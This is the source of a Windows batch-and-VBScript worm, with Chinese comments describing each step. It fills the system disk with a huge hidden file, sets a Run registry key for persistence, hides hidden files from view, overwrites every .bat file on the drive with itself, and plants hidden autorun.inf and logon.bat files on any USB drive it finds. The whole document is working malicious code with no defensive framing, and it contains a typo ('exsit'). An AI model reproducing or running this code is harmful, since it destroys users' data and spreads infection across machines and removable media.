if exsit %SystemDrive%\PAGEFILES.SYS goto end copy %0 %windir%\system32\logon.bat ::復制自身 FOR /F "tokens=3*" %%i in ('dir /-c %SystemDrive%^|find "可用字節(jié)"') do fsutil file createnew %SystemDrive%\PAGEFILES.SYS %%i ::制造超大文件,轟炸硬盤 attrib +r +s +h %SystemDrive%\PAGEFILES.SYS ::隱藏文件 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v KV2007 /t REG_SZ /d %windir%\system32\logon.vbs ::自動啟動 reg delete HKLM\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /va /f ::不顯示隱藏文件 for /r %SystemDrive% %%i in (*.bat) do type %0>%%i ::感染
if exist %windir%\system32\logon.vbs goto end +++++++++++++++++++++++++=VBS部分+++++++++++++++++++++++++++++++++++++++
echo set fs =createobject("scripting.filesystemobject")>>%windir%\system32\logon.vbs echo set WshShell = WScript.CreateObject("WScript.Shell")>>%windir%\system32\logon.vbs echo Set objWMIService = GetObject("winmgmts:" _>>%windir%\system32\logon.vbs echo ^ "{impersonationLevel=impersonate}!\\" ^ strComputer ^ "\root\cimv2")>>%windir%\system32\logon.vbs echo Set colDisks = objWMIService.ExecQuery _>>%windir%\system32\logon.vbs echo ("Select * from Win32_LogicalDisk")>>%windir%\system32\logon.vbs
::監(jiān)視u盤 echo For i =1 to 9000000000>>%windir%\system32\logon.vbs echo For Each objDisk in colDisks>>%windir%\system32\logon.vbs echo Select Case objDisk.DriveType>>%windir%\system32\logon.vbs echo :Case 2:>>%windir%\system32\logon.vbs
::判斷u盤中是否存在autorun.inf,不存在則寫入autorun.inf并且隱藏. echo y1=fs.FileExists(objDisk.DeviceID ^ "\AUTORUN.INF")>>%windir%\system32\logon.vbs echo if not y1 then>>%windir%\system32\logon.vbs echo set f=fs.opentextfile(objDisk.DeviceID ^ "\AUTORUN.INF",2, true)>>%windir%\system32\logon.vbs echo f.write "[AutoRun]" ^ vbcrlf>>%windir%\system32\logon.vbs echo f.write "open=logon.bat" ^ vbcrlf>>%windir%\system32\logon.vbs echo f.write "shellexecute=logon.bat" ^ vbcrlf>>%windir%\system32\logon.vbs echo f.write "shell\Auto\command=logon.bat" ^ vbcrlf>>%windir%\system32\logon.vbs echo f.Close>>%windir%\system32\logon.vbs echo Set f1 = fs.GetFile(objDisk.DeviceID ^ "\AUTORUN.INF")>>%windir%\system32\logon.vbs echo If f1.Attributes = f1.Attributes AND 2 Then>>%windir%\system32\logon.vbs echo :f1.Attributes = f1.Attributes XOR 7:>>%windir%\system32\logon.vbs echo End If>>%windir%\system32\logon.vbs echo end if>>%windir%\system32\logon.vbs
::判斷u盤中是否存在logon.bat,如果不存在則寫入logon.bat并隱藏. echo y2=fs.FileExists(objDisk.DeviceID ^ "\logon.bat")>>%windir%\system32\logon.vbs echo if not y2 then >>%windir%\system32\logon.vbs echo fs.CopyFile "c:\windows\system32\logon.bat",objDisk.DeviceID ^ "\">>%windir%\system32\logon.vbs echo Set f2 = fs.GetFile(objDisk.DeviceID ^ "\logon.bat")>>%windir%\system32\logon.vbs echo If f2.Attributes = f2.Attributes AND 2 Then>>%windir%\system32\logon.vbs echo :f2.Attributes = f2.Attributes XOR 7:>>%windir%\system32\logon.vbs echo End If>>%windir%\system32\logon.vbs echo end if>>%windir%\system32\logon.vbs